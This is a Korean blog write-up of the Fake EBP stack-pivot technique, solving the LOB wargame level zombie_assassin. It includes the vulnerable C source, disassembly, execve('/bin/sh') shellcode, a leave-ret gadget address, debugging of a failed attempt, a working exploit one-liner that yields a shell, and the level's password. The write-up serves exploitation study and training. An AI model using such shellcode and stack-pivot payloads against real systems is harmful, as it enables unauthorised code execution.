Fake EBP

Sisyphus·2022년 7월 16일
0

System Hacking - ELF 32

목록 보기
10/10

Fake EBP는 가짜 스택 프레임 포인터를 만들어서 프로그램의 실행 흐름을 조작하는 기법입니다.

Return Address 영역까지만 덮어쓸 수 있을 때 사용합니다.


예시로 LOB의 zombie_assassin 문제를 봐보면

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48); 
	printf("%s\n", buffer);
}

buffer의 크기가 40 Byte인데, strncpy() 함수로 딱 buffer + SFP + RET까지 거리인 48 Byte 크기의 입력만 받고 있습니다.

그래서 Return Address 영역 까지만 덮을 수 있기 때문에, Fake EBP 기법을 사용해야 합니다.


먼저 스택을 분석해보면

0x80484b7 <main+119>:	push   48			// push 48
0x80484b9 <main+121>:	mov    %eax,DWORD PTR [%ebp+12]	// eax = argv[0]
0x80484bc <main+124>:	add    %eax,4			// eax = argv[1]
0x80484bf <main+127>:	mov    %edx,DWORD PTR [%eax]	// edx = argv[1]
0x80484c1 <main+129>:	push   %edx			// push argv[1]
0x80484c2 <main+130>:	lea    %eax,[%ebp-40]		// eax = buffer
0x80484c5 <main+133>:	push   %eax			// push buffer
0x80484c6 <main+134>:	call   0x8048374 <strncpy>	// strncpy(buffer, argv[1], 48)
0x80484cb <main+139>:	add    %esp,12

위에 그림 처럼 됩니다.


Fake EBP는 RET 위치에 leave-ret 가젯을 넣고 EBP에 shellcode - 4의 주소를 넣어서 쉘을 띄웁니다.

그림으로 어떻게 쉘이 띄어지는지 봐보면


먼저 함수의 에필로그가 실행됩니다.

함수의 에필로그가 끝나면 RET에 있는 leave-ret 가젯으로 jump 하여 leave-ret 명령을 실행하게 됩니다.


leave-ret 명령을 실행하게 되면

 eip가 shellcode의 주소로 조작되어 shellcode로 jump 하게 되고 쉘 코드가 실행되어 쉘이 띄어지게 됩니다.


이제 페이로드를 짜 보면

shellcode addr[4] + shellcode [25] + NOP [11] + buf-4 [4] + leave-ret [4]

익스플로잇 코드를 짜기 위해 leave-ret gadget과 buf - 4, shellcode의 주소를 찾아보면

0x80484df <main+159>:	leave  
0x80484e0 <main+160>:	ret

leave-ret gadget : 0x80484df


[assassin@localhost assassin]$ cp zombie_assassin.c tmp
[assassin@localhost assassin]$ cd tmp
[assassin@localhost tmp]$ vi zombie_assassin.c 
[assassin@localhost tmp]$ gcc -o zombie_assassin zombie_assassin.c
[assassin@localhost tmp]$ ./zombie_assassin "AAAA" 
0xbffffac0
AAAA
  • buf - 4 : 0xbffffabc
  • shellcode : 0xbffffac4

익스플로잇 코드를 짜 보면

`python -c 'print "\xc4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*11+"\xbc\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

코드를 실행해보면

[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "\xc4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*11+"\xbc\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
0xbffffaa0
퀭??h//shh/bin‰?S‰?柰
                          ?술욀„
?’…?옭???h저?`@€i@’…幾우@술욱„’…”??
Segmentation fault (core dumped)

Segmentation fault가 발생했습니다.


core 파일을 분석해보면

(gdb) x/100x $esp
0xbffffac4:	0x080484ed	0x08048592	0xbffffa94	0x00000002
0xbffffad4:	0xbffffb14	0xbffffb20	0x40013868	0x00000002
0xbffffae4:	0x08048390	0x00000000	0x080483b1	0x08048440
0xbffffaf4:	0x00000002	0xbffffb14	0x080482e4	0x0804852c
0xbffffb04:	0x4000ae60	0xbffffb0c	0x40013e90	0x00000002
0xbffffb14:	0xbffffc06	0xbffffc18	0x00000000	0xbffffc49
0xbffffb24:	0xbffffc60	0xbffffc7f	0xbffffca1	0xbffffcaf
0xbffffb34:	0xbffffe72	0xbffffe91	0xbffffeaf	0xbffffec4
0xbffffb44:	0xbffffee4	0xbffffeef	0xbfffff00	0xbfffff08
0xbffffb54:	0xbfffff19	0xbfffff23	0xbfffff31	0xbfffff42
0xbffffb64:	0xbfffff50	0xbfffff5b	0xbfffff6f	0xbfffffc0
0xbffffb74:	0xbfffffd4	0x00000000	0x00000003	0x08048034
0xbffffb84:	0x00000004	0x00000020	0x00000005	0x00000006
0xbffffb94:	0x00000006	0x00001000	0x00000007	0x40000000
0xbffffba4:	0x00000008	0x00000000	0x00000009	0x08048390
0xbffffbb4:	0x0000000b	0x00000203	0x0000000c	0x00000203
0xbffffbc4:	0x0000000d	0x00000203	0x0000000e	0x00000203
0xbffffbd4:	0x00000010	0x0f8bfbff	0x0000000f	0xbffffc01
0xbffffbe4:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffbf4:	0x00000000	0x00000000	0x00000000	0x38366900
0xbffffc04:	0x2f2e0036	0x626d6f7a	0x615f6569	0x73617373
0xbffffc14:	0x006e6973	0xbffffac4	0x6850c031	0x68732f2f
0xbffffc24:	0x69622f68	0x50e3896e	0x31e18953	0xcd0bb0d2
0xbffffc34:	0x90909080	0x90909090	0x90909090	0xbffffabc
0xbffffc44:	0x080484df	0x44575000	0x6f682f3d	0x612f656d

0xbffffc18에 shellcode addr인 0xbffffac4가 있습니다.
그러면 buf - 4= 0xbffffc14이 되고 shellcode addr은 0xbffffc1c가 됩니다.


다시 익스플로잇 코드를 짜서 실행시켜보면

`python -c 'print "\x1c\xfc\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*11+"\x14\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`

[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "\x1c\xfc\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*11+"\x14\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`
0xbffffaa0
???h//shh/bin‰?S‰?柰
                          ??욀„

bash$

공격에 성공해서 쉘이 떴습니다.


패스워드를 출력해보면

bash$ my-pass
euid = 515
pushing me away

0개의 댓글